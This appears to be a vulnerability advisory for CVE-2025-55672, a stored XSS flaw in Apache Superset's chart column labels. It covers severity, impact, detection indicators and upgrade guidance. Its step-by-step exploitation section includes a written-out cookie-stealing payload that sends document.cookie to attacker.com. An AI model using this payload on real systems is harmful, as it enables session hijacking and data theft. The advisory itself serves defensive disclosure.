CVE-2025-55672: 
Wolfi vulnerability analysis and mitigation

CVE-2025-55672 is a stored Cross-Site Scripting (XSS) vulnerability in Apache Superset's chart visualization component, disclosed on August 14, 2025. An authenticated user with chart-editing permissions can inject a malicious payload into a column's label field; the payload executes in a victim's browser when they hover over the affected chart. All Apache Superset versions before 5.0.0 are affected. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (GitHub Advisory, Openwall OSS-Sec).

The root cause is improper neutralization of script-related HTML tags in a web page (CWE-80). When a user with chart-editing privileges modifies a column's label, the application fails to sanitize the input before storing and rendering it, allowing arbitrary HTML/JavaScript to be embedded in chart metadata. The payload is triggered client-side when another user hovers over the chart, making this a stored (persistent) XSS with a hover-based trigger rather than a click or page-load event. The vulnerability was discovered by researcher 'Jobar', coordinated by Pedro Sousa, and remediated by Mehmet Yavuz (Openwall OSS-Sec, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session within Apache Superset. This can lead to session hijacking (theft of authentication cookies or tokens), execution of unauthorized actions on behalf of the victim, and exfiltration of sensitive data accessible within the application. Because Superset is commonly used as a business intelligence platform with access to sensitive datasets and database connections, the potential data exposure risk is significant for affected organizations (GitHub Advisory, Openwall OSS-Sec).

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.065–0.08%, placing it in roughly the 24th percentile for exploitation likelihood within 30 days. Exploitation requires an authenticated account with chart-editing permissions, which limits the attacker pool but does not eliminate insider-threat or compromised-account scenarios.

1. Obtain chart-editing access: Log in to an Apache Superset instance (version < 5.0.0) with an account that has permissions to create or edit charts.
2. Identify a target chart: Navigate to the Charts section and select or create a chart that uses column labels rendered in the visualization tooltip or legend.
3. Inject the XSS payload: Edit the column label field and insert a malicious HTML/JavaScript payload, such as <img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie> or a similar event-handler-based script.
4. Save the chart: Submit the modified chart configuration; the unsanitized payload is stored in the application's database as part of the chart metadata.
5. Deliver the chart to a victim: Share the chart with or make it accessible to a higher-privileged user (e.g., an admin) via a dashboard or direct link.
6. Trigger execution: When the victim hovers over the affected chart element in their browser, the stored payload executes in their session context, enabling session token theft, credential harvesting, or further unauthorized actions (GitHub Advisory, Openwall OSS-Sec).

• Logs: Apache Superset application logs showing chart update API calls (e.g., PUT /api/v1/chart/<id>) containing HTML tags or JavaScript event handlers (<script>, onerror=, onmouseover=, etc.) in column label fields.
• Database: Unexpected HTML or JavaScript content stored in chart metadata/column label fields within the Superset metadata database (typically the slices table).
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after users interact with (hover over) Superset charts — particularly requests carrying cookie or token parameters.
• Browser/Proxy: Proxy or WAF logs showing responses from Superset chart endpoints that include unsanitized <script> tags or inline event handlers in rendered HTML.

The primary remediation is to upgrade Apache Superset to version 5.0.0 or later, which includes the fix for this vulnerability (GitHub Advisory, Apache Mailing List). As interim workarounds, administrators should restrict chart-editing permissions to only trusted users, implement a Content Security Policy (CSP) header to limit script execution, and audit existing charts for suspicious content in column label fields. Monitoring chart modification activity for anomalous changes is also recommended.

The vulnerability was publicly disclosed via the Apache security mailing list and the oss-security list on August 14, 2025, by Daniel Gaspar of the Apache Superset project (Openwall OSS-Sec). The GitHub Advisory Database rated it as 'Moderate' severity. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified at this time.